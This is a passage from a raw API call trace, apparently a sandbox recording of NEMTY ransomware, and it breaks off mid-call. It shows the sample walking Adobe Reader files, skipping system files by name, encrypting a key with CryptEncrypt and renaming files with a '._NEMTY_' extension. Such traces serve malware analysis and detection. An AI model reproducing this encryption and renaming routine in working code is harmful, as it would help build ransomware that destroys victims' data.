WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.063] CloseHandle (hObject=0xffffffff) returned 0 [0213.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0213.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0213.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.063] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-v._nemty_kgobjgd_")) returned 0 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0213.063] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31610, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-H", cAlternateFileName="UN288D~1")) returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2=".") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="..") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="...") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="windows") returned -1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="$RECYCLE.BIN") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="rsa") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="NTDETECT.COM") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="ntldr") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="MSDOS.SYS") returned 1 [0213.063] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="IO.SYS") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="boot.ini") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="boot.ini") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="AUTOEXEC.BAT") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="ntuser.dat") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="desktop.ini") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="CONFIG.SYS") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="RECYCLER") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="BOOTSECT.BAK") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="bootmgr") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="programdata") returned 1 [0213.064] lstrcmpiW (lpString1="UniJIS2004-UTF16-H", lpString2="appdata") returned 1 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-H", lpUsedDefaultChar=0x0) returned 18 [0213.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-H", lpUsedDefaultChar=0x0) returned 18 [0213.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0213.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-H", lpUsedDefaultChar=0x0) returned 18 [0213.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS2004-UTF16-H", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS2004-UTF16-H", lpUsedDefaultChar=0x0) returned 18 [0213.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0213.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0213.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0213.065] Sleep (dwMilliseconds=0x5) [0213.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32a46070, dwHighDateTime=0x1d561e8)) [0213.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32a46070, dwHighDateTime=0x1d561e8)) [0213.078] GetLastError () returned 0x5 [0213.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.079] GetLastError () returned 0x5 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0213.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.079] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0213.079] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="2opjNzZu3fxMeuuTe6WJn4M6iQ5+3ppzzh2NXs6SZia4djcv+fBFc4UT0dxPj118\r\nmnYOWIffzVPWxGs1LGoOwSxybZdZQow6n92p9UCIpBLeDROCx/ab9vd7R8KqcFr8\r\neb5NfSvWMIOLs+3I0Zv1WiceZsZaf39Su1UcfU3FSrNBtejWSTUzO65vrqRrjC7e\r\nd/u2njda6CtTW2Z7uTabE+FE3I6/G9t5BkIh9TdqCwJnpVJ9djjyV+WAy+pocyUb\r\nB8mn6aHNwr6LhSRZvI9JFJR/wRofbvKWqeGFA/gVb8rzFvCoTn2p7AzHAenBOKu7\r\nZiea0XHUiYF25oFx7y+IjA==\r\n", pcchString=0x653e91c) returned 1 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0213.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0213.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.079] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0213.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0213.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 